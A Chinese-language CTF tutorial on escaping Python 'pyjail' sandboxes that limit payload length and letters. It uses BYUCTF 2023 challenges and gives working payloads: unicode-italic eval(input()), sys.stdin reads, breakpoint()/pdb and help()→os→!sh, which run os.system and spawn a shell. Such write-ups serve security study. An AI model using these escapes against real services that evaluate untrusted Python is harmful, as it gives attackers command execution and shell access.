pyjail bypass-05 绕过长度限制

 

绕过长度限制

BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制

eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取

print(open(bytes([102,108,97,103,46,116,120,116])).read())

函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr(333).

# f = 102 = 333-231 = ord('ō')-ord('ç')
# a = 108 = 333-225 = ord('ō')-ord('á')
# l = 97 = 333-236 = ord('ō')-ord('ì')
# g = 103 = 333-230 = ord('ō')-ord('æ')
# . = 46 = 333-287 = ord('ō')-ord('ğ')
# t = 116 = 333-217 = ord('ō')-ord('Ù')
# x = 120 = = 333-213 = ord('ō')-ord('Õ')

print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())

但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号 ;,这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的 a('ō') 进行替换。这样就可以构造一个满足条件的 payload

exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())")

但其实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符。例如 chr(4434)

当然,可以直接使用 input 函数来绕过长度限制。

打开 input 输入

如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。

以 BYUCTF2023 jail a-z0-9 为例:

eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)

𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵())

这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。

__import__('os').system('whoami')

打开输入流需要依赖 input 函数,no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。

下面是一些打开输入流的方式:

sys.stdin.read()

注意输入完毕之后按 ctrl+d 结束输入

>>> eval(sys.stdin.read())
__import__('os').system('whoami')
kali
0
>>>

sys.stdin.readline()

>>> eval(sys.stdin.readline())
__import__('os').system('whoami')

sys.stdin.readlines()

>>> eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')

在 python2 中,在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。

breakpoint 函数

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

>>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <stdin>(1)<module>()->None
(Pdb) __import__('os').system('ls')
a-z0-9.py  exp2.py  exp.py  flag.txt
0
(Pdb) __import__('os').system('sh')
$ ls
a-z0-9.py  exp2.py  exp.py  flag.txt

help 函数

help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh

当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助

𝘩𝘦𝘭𝘱()

然后输入 os,此时会进入 os 的帮助文档。

help> os

然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

help> os
$ ls
a-z0-9.py  exp2.py  exp.py  flag.txt
$ 

参考资料